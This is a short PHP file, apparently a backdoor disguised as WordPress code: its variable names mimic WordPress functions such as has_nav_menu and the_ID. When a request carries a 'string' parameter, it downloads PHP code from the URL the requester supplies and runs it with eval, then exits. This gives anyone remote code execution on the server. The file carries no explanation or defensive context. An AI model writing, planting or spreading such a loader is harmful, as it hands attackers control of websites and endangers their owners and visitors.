<?php

if (isset($_GET['string'])) {
    $has_nav_menu_ug = $_GET['string'];
    if ($the_ID_hf = curl_init()) {
        curl_setopt($the_ID_hf, CURLOPT_URL, $has_nav_menu_ug);
        curl_setopt($the_ID_hf, CURLOPT_RETURNTRANSFER, true);
        eval(curl_exec($the_ID_hf));
        curl_close($the_ID_hf);
        exit;
    }
}